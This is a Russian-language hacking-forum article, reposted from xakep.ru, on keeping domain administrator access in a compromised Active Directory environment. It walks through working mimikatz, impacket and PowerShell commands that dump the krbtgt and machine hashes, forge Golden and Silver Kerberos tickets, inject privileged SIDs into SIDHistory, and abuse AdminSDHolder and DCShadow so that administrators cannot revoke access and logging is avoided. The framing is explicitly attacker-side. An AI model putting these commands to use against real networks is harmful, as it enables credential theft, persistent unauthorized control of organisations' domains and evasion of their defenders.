• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен

Отслеживать
Azrv3l

Azrv3l

win32kfull
Эксперт
Регистрация
30.03.2019
Сообщения
215
Реакции
539
intro.jpg

Содержание статьи:
  • Kerberos Golden Tickets
    • Ticketer
    • Mimikatz
    • Meterpreter
  • Kerberos Silver Ticket
    • Ticketer
    • Mimikatz
  • SIDHistory
  • Golden Ticket + SIDHistory
  • AdminSDHolder
  • DCShadow
Вступление:
Представь, что мы скомпрометировали привилегированные учетные записи, используя разные техники повышения привилегий, распространились по сети, скрылись от средств обнаружения,
но неожиданно потеряли контроль над доменом, потому что администратор по какой-то причине сменил пароль! В сегодняшней статье мы разберем способы сохранить административный доступ,
даже если администратор сменил пароли или разрешения.

Kerberos Golden Tickets
Один из способов сохранить доступ к системе — сформировать Golden Ticket: пароль учетной записи krbtgt не будет изменен при тех же условиях,
при которых может быть изменен пароль администратора.

Golden Ticket — это поддельные билеты для выдачи билетов, также называемые аутентификационными билетами (они же TGT). Если посмотреть на схему аутентификации Kerberos в случае Golden Ticket,
то можно заметить, что подлинность Kerberos не проверяется (AS-REQ и AS-REP с контроллером домена). Так как Golden Ticket является поддельным TGT,
он отправляется контроллеру домена как часть TGS-REQ для получения билета TGS.

1.jpg


Золотой билет Kerberos — действительный билет Kerberos TGT, поскольку он зашифрован и подписан доменной учетной записью Kerberos (krbtgt).
А так как TGT зашифрован хешем пароля krbtgt и может быть расшифрован любой службой KDC в домене, то билет и воспринимается как реальный.
Для того чтобы сделать Golden Ticket, нам необходимо знать следующее:
  1. SPN домена
  2. SID домена
  3. NTLM-хеш доменной учетной записи krbtgt
  4. Имя пользователя, под которым будет работать оператор (даже если такого пользователя не существует)
Так как имя пользователя можно использовать любое, остается найти три недостающих компонента. Название и SID домена можно узнать с помощью PowerShell-команды Get-ADDomain

2.jpg


Теперь нужно получить NTLM-хеш учетной записи krbtgt. Сделать это можно как удаленно, так и с помощью mimikatz. С использованием mimikatz у оператора есть выбор:
выполнить атаку DCSync, используя базу Security Account Managers (SAM), или задействовать модуль sekurlsa.
Bash: 
mimikatz # lsadump::dcsync /user:krbtgt

3.jpg


Bash: 
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt

4.jpg


Bash: 
mimikatz # sekurlsa::krbtgt

5.jpg


Удаленная атака выполняется также с использованием DCSync или при наличии открытой сессии meterpreter.
Bash: 
impacket-secretsdump domain.dom/root@192.168.6.100

6.jpg


Существует два варианта использования meterpreter: при помощи hashdump и dcsync_ntlm (для второго нужно загрузить модуль kiwi).

7.jpg


8.jpg


С помощью полученной информации можно создать и применить Golden Ticket. Сделаем это тремя способами:
  1. Используя mimikatz
  2. Удаленно с помощью ticketer
  3. C использованием meterpreter.
Ticketer
Первым делом следует создать билет. Для этого используем скрипт ticketer из пакета impacket (напомню, что имя пользователя можно выдумать любое).
Bash: 
impacket-ticketer -nthash 08f5bf2e292d77d8e460d3926a0d90de -domain-sid S-1-5-21-719111203-942671344-1831409528 -domain domain.dom anyuser

9.jpg


В текущей директории создан билет anyuser.ccache. Экспортируем его.
Bash: 
export KRB5CCNAME=anyuser.ccache

Теперь подключимся с помощью psexec из того же пакета impacket.
Bash: 
python3 psexec.py -k -no-pass [домен]/[пользователь]@[имя хоста]

10.jpg


Получаем удаленное управление с правами SYSTEM.

Mimikatz
Создадим поддельный золотой билет с помощью mimikatz.

11.jpg


Если в данной команде не использовать параметр /ptt, то билет будет просто сохранен в текущей директории. В данном случае он сразу будет кеширован в памяти.
Давай проверим это, вызвав командную строку.
Bash: 
mimikatz # misc::cmd

Теперь, выполнив команду klist, наблюдаем кешированный Golden Ticket.

12.jpg


Meterpreter
Для работы с meterpreter будем использовать модуль kiwi. Первым делом создадим Golden Ticket.

13.jpg


Теперь применим его.

14.jpg


И проверим, что билет успешно загружен.

15.jpg


Таким образом, у нас остается возможность работы с повышенными привилегиями, при этом мы не используем учетных данных администраторов. Это означает, что мы можем получить доступ всегда,
даже при смене паролей пользователей, изменении их ролей и даже при удалении скомпрометированных учетных записей.

Kerberos Silver Ticket
Silver Ticket — это поддельные билеты TGS, также называемые билетами службы. Как показано на схеме аутентификации Kerberos с Silver Ticket, в этом случае отсутствуют шаги AS-REQ/AS-REP и TGS-REQ/TGS-REP,
что исключает взаимодействие с контроллером домена. То есть у нас получается избежать логирования, так как журналы событий располагаются на сервере.

16.jpg


Серебряный билет Kerberos — действительный билет Kerberos TGS: он зашифрован и подписан учетной записью службы, для которой настроено SPN-имя для каждого сервера,
на котором, в свою очередь, работает служба проверки подлинности Kerberos.

В то время как Golden Ticket является поддельным TGT для получения доступа к любой службе Kerberos, Silver Ticket представляет собой поддельный TGS. А это означает,
что область его применимости ограничена определенной службой.

Из всего вышесказанного следует, что вместо хеша пароля учетной записи krbtgt нужен хеш пароля учетной записи службы, а также ее SPN-имя.
Ниже представлены наиболее интересные службы и соответствующие им типы билетов:

17.jpg


Разберем создание Silver Ticket на примере службы cifs. Она позволит нам обращаться с правами администратора к любому общему ресурсу на компьютере,
чего хватит для работы через psexec с правами SYSTEM.

Для службы cifs нам достаточно хеша пароля учетной записи компьютера. Его можно получить так же, как и в случае с Golden Ticket.

18.jpg


19.jpg


В случае с mimikatz можно использовать sekurlsa::logonpasswords.

20.jpg


Теперь давай создадим и применим Silver Ticket.

Ticketer
Для начала сгенерируем Silver Ticket. Сделать это можно по аналогии с золотым билетом, но следует указать SPN службы CIFS.
Bash: 
impacket-ticketer -nthash c854d3f11ea2ad22267ed4571f77d29b -domain-sid S-1-5-21-719111203-942671344-1831409528 -domain domain.dom -spn cifs/[hostname] anyuser

21.jpg


Теперь экспортируем тикет
Bash: 
export KRB5CCNAME=anyuser.ccache

И наконец, получим управление с правами SYSTEM с помощью psexec.

22.jpg


Mimikatz
NTLM-хеш пароля учетной записи компьютера используется с параметром rc4. При этом мы можем придумать как имя пользователя, так и его User ID (в параметреid).
В параметре service укажем cifs, а в target — полное имя компьютера.

Bash: 
kerberos::golden /admin:anyuser /domain:domain.dom /id:1111 /sid:S-1-5-21-719111203-942671344-1831409528 /target:[hostname] /rc4:[NTLM хеш] /service:cifs /ptt

23.jpg


Проверим загруженные в память билеты и обнаружим там только что созданный.

24.jpg


Существует мнение, что Silver Ticket куда более опасны, чем Golden Ticket, несмотря на то что область их действия ограниченна. Это справедливо потому, что хеш службы легче получить,
чем хеш krbtgt, а обнаружение такого вторжения сложнее из-за отсутствия взаимодействия с контроллером домена.

SIDHistory
SIDHistory — это атрибут объекта в Active Directory, который хранит старый SID. Наиболее часто он применяется при миграциях. Эта функция необходима при переносе учетных записей пользователей из одного доверенного домена в другой.
При этом учетные записи полностью сохраняют настройки доступа к старым ресурсам и файлам. Когда пользователь проходит проверку подлинности, идентификаторы безопасности каждой группы безопасности,
членом которой он является, добавляются в билет Kerberos этого пользователя, а также в атрибут SIDHistory его учетной записи.

При создании нового пользователя SID его учетки будет отличен от SID других учетных записей. Это также справедливо при переносе пользователя из первого домена во второй.
В таком случае SID учетной записи пользователя из первого домена будет добавлен в SIDHistory учетной записи во втором домене.
Именно поэтому пользователь из второго домена может получить доступ к своим старым ресурсам и файлам в первом домене.

Но, что удивительно, если обычный пользователь во втором домене имеет в атрибуте SIDHistory своей учетной записи SID учетной записи одного из администраторов первого домена,
то данный пользователь становится привилегированным в первом домене! То есть пользователю будут предоставлены права администратора домена без его участия в группе «Администраторы домена».

Таким образом, для сохранения привилегированного доступа в доверенном домене оператор может включить SID привилегированной учетной записи в целевом домене в атрибут SIDHistory контролируемой им
непривилегированной учетной записи из доверенного домена.

С помощью mimikatz мы можем внедрить любой SID в атрибут SIDHistory любого пользователя (но для этого нужны права администратора, которые у нас, конечно же, есть).
На следующей иллюстрации видно, что пользователь notroot не имеет административного доступа.

25.jpg


Давай посмотрим атрибут SIDHistory этого пользователя.
Bash: 
PS > Get-ADUser [пользователь] -Properties SIDHistory

26.jpg


Данный атрибут у пользователя пуст. Теперь узнаем SID администратора, который необходимо туда внедрить.

27.jpg


Давай внедрим с помощью mimikatz SID привилегированного пользователя root в атрибут SIDHistory обычного пользователя notroot.
Bash: 
mimikatz # privilege::debug
mimikatz # sid::patch
mimikatz # sid::add /sam:[целевой пользователь] /new:[SID или пользователь, чей SID внедряется]

28.jpg


Все прошло успешно. Теперь снова проверим атрибут SIDHistory нашего пользователя. Как видно на следующей иллюстрации,
в атрибуте SIDHistory теперь присутствует SID привилегированного пользователя.

29.jpg


При входе в систему от имени пользователя notroot все идентификаторы безопасности, связанные с этой учетной записью, добавляются в токен пользователя,
который задействован для определения доступа к ресурсам. Если точнее, туда добавляются:
  1. SID, связанный с учетной записью пользователя.
  2. SID’ы групп, в которые входит пользователь (включая группы, членами которых являются эти группы).
  3. SID’ы, содержащиеся в SIDHistory.
Если снова попытаться войти в систему от имени пользователя notroot, то можно заметить, что теперь он имеет административный доступ.

30.jpg


Когда пользователь notroot входит в систему, SID’ы, связанные с его учетной записью, оцениваются и доступ определяется на основе этих SID.
Так как учетная запись notroot связана с учетной записью root (администратор),
учетная запись notroot имеет все права доступа к учетной записи root, включая права администратора домена.

Golden Ticket + SIDHistory
Родительский (корневой) домен содержит группу администраторов всего леса Enterprise Admins. Поэтому, когда хеш пароля учетной записи krbtgt предоставляется в дочернем домене, существует определенное ограничение.
Так как mimikatz добавляет членство в группе за счет относительных идентификаторов (RID), то в данном случае в билете Kerberos группа RID 519 (Enterprise Admins) будет идентифицирована как локальная по отношению к домену,
в котором был создан билет (на основе домена учетной записи krbtgt). Но если идентификатор безопасности, полученный путем добавления RID к SID’у домена, не существует,
то владелец билета Kerberos не получит определенный уровень доступа.

Таким образом, если домен, в котором был создан Golden Ticket, не содержит группу Enterprise Admins, то данный билет не предоставит права администратора для других доменов в том же лесу.
Если сделать Golden Ticket с помощью mimikatz и обратиться к ресурсам в своем и другом доменах, то во втором случае мы получим отказ в доступе.
Bash: 
mimikatz # kerberos::golden /admin:anyuser /domain:domA.domain.dom /sid:S-1-5-21-719111203-942671344-1831409528-1000 /krbtgt:08f5bf2e292d77d8e460d3926a0d90de /ptt

31.jpg


Мы уже подробно разобрали, как работает SIDHistory, и знаем, что билет Kerberos содержит этот параметр. Давай добавим в золотой билет Kerberos,
а именно в параметр SIDHistory SID группы Enterprise Admins.

Bash: 
mimikatz # kerberos::golden /admin:anyuser /domain:domA.domain.dom /sid:S-1-5-21-719111203-942671344-1831409528-1000 /krbtgt:08f5bf2e292d77d8e460d3926a0d90de /sids:[SID группы Enterprise Admins] /ptt

32.jpg


Таким образом мы получаем доступ ко всему лесу.

AdminSDHolder
AdminSDHolder — это объект, расположенный в разделе System в Active Directory (cn=adminsdholder, cn=system, dc=domain, dc=dom). Он используется в качестве шаблона безопасности для объектов,
которые являются членами определенных привилегированных групп, называемых защищенными группами.

33.jpg


В Active Directory учетные записи и группы с высоким уровнем привилегий по умолчанию считаются защищенными. При использовании большинства объектов в Active Directory администраторы или пользователи,
которым были делегированы разрешения на управление объектами Active Directory, могут не только изменять права доступа к объектам, но и управлять самими разрешениями (к примеру, чтобы настраивать членство в группах).

Но есть одна особенность: в случае защищенных учетных записей и групп разрешения объектов устанавливаются и применяются автоматически. Это гарантирует, что разрешения на объекты останутся единообразными,
даже если объекты будут перемещены в другой каталог. Таким образом, если кто-либо вручную изменяет разрешения защищенного объекта, эти разрешения будут возвращены к их значениям по умолчанию.

Объекты, которые по умолчанию считаются защищенными группами, — это операторы учета, администратор, администраторы, операторы архива, администраторы домена, администраторы предприятия,
администраторы корпоративных ключей, администраторы ключей, KRBTGT, операторы печати, контроллеры домена только для чтения, репликатор, администраторы схемы, операторы сервера.
В отличие от большинства объектов в домене Active Directory, владельцем которых являются группы «Администраторы», объект AdminSDHolder принадлежит группе «Администраторы домена».
Таким образом, все защищенные с помощью AdminSDHolder объекты имеют атрибут AdminCount, установленный в 1. Но если объект удалить из защищенной группы,
значение атрибута AdminCount не изменится.

Так как главным условием защищаемого объекта становится значение атрибута AdminCount, равное 1, мы можем найти все эти объекты с помощью следующего скрипта.

Код: 
$ldapFilter = "(adminCount=1)"
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.PageSize = 1000
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"

$result = $search.FindAll()

foreach ($res in $result){
    $userEntry = $res.GetDirectoryEntry()
    Write-host "Object Name = " $userEntry.name
    Write-host "Object Class = " $userEntry.objectClass
    foreach($AdminCount in $userEntry.adminCount){
        Write-host "AdminCount = " $AdminCount
        Write-host ""
    }
}

Список контроля доступа (ACL) объекта AdminSDHolder применяется как шаблон для всех разрешений всем защищенным объектам Active Directory и их членам.
Для обеспечения безопасного доступа к защищенным объектам Active Directory будет брать ACL объекта AdminSDHolder и периодически применять его ко всем этим объектам, то есть ко всем пользователям и группам.
Таким образом, если мы можем манипулировать списком ACL для AdminSDHolder, эти разрешения будут автоматически применены ко всем защищенным объектам,
что позволит создать постоянный доступ к привилегированным учетным записям в домене.

За автоматизацию восстановления разрешений защищенных объектов отвечает процесс SDProp. По умолчанию восстановление происходит каждые 60 минут (но этот интервал можно изменить). Таким образом,
если администратор увидит подозрительное разрешение для защищенного объекта и удалит его, то спустя указанное время эти полномочия будут восстановлены обратно благодаря SDProp,
так как атрибут AdminCount данного объекта должен быть равным 1. В результате объект останется защищенным.

Давай добавим пользователя к AdminSDHolder или выставим пользователю атрибут adminCount в 1.
Bash: 
Get-ADUser [пользователь] | Set-ADObject -Clear adminCount
Get-ADUser [пользователь] | Set-ADObject -Add @{adminCount=1}

Спустя некоторое время после восстановления разрешений SDProp’ом данная учетная запись будет иметь полный контроль над группой «Администраторы домена».

При этом можно заметить, что пользователь не имеет членства в группах.
Bash: 
Get-ADUser [пользователь] -Properties memberof

34.jpg


Чтобы изменить интервал восстановления, нужно в ветке реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters создать параметр DWORD с именем AdminSDProtectFrequency,
а в качестве значения указать количество секунд (минимальное — 60).

AdminSDHolder — это очень хитрый метод, позволяющий нам предоставлять возможность менять привилегированные группы в Active Directory, используя ключевой компонент безопасности.
Таким образом, даже если разрешения для защищенной группы или пользователя изменены администратором, SDProp вернет разрешения безопасности спустя отведенный интервал времени в соответствии с объектом AdminSDHolder,
тем самым возвращая нам административный доступ.

DCShadow
В предыдущей части статьи мы рассмотрели способ обеспечить персистентность доступа, основанный на изменении разрешений защищаемых объектов, то есть на управлении списками ACL и манипуляциях с контейнером AdminSDHolder.
Но эти способы могут быть зарегистрированы в журнале событий. Чтобы избежать этого, есть решение: DCShadow позволяет вносить такие изменения без регистрации событий, что снижает риск обнаружения.

Таким образом, план следующий:
  1. Получить текущие разрешения AdminSDHolder.
  2. Внести изменения в разрешения (добавить нового пользователя).
  3. Применить обновленные разрешения через DCShadow.
Получить текущие разрешения можно с помощью PowerShell.
Bash: 
$asdh = [adsi]'LDAP://CN=AdminSDHolder,CN=System,DC=domain,DC=dom'
$sddl = $asdh.ObjectSecurity.Sddl

35.jpg


Чтобы обеспечить персистентность доступа, добавим учетную запись в разрешения AdminSDHolder. Для этого нужно изменить полученную строку SDDL.
Сначала необходимо узнать SID целевого объекта.

36.jpg


Теперь можно изменить SDDL, просто добавив туда SID.
Код: 
$newsddl = $sddl + "(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;[SID]])»

37.jpg


Приступим к последнему этапу — использованию DCShadow. Чтобы применить данные разрешения, используем mimikatz, причем от имени System.
Bash: 
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:"CN=AdminSDHolder,CN=System,DC=domain,DC=dom" /attribute:ntsecuritydescriptor /value:[SDDL]

38.jpg


При этом в другом окне mimikatz нужно выполнить репликацию и применить данные.
Bash: 
mimikatz # lsadump::dcshadow /push

Спустя некоторое время у целевой учетной записи можно заметить обновленный атрибут adminCount, о котором мы уже говорили.

39.jpg


Таким образом еще один вектор, для которого мы можем использовать DCShadow, — персистентность административного доступа.

От ТС:
Статья в этот раз большая, целых 40 вложений. Если есть ошибки пишите, исправлю.
Оргинал: https://xakep.ru/2020/04/15/windows-ad-persistence/
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх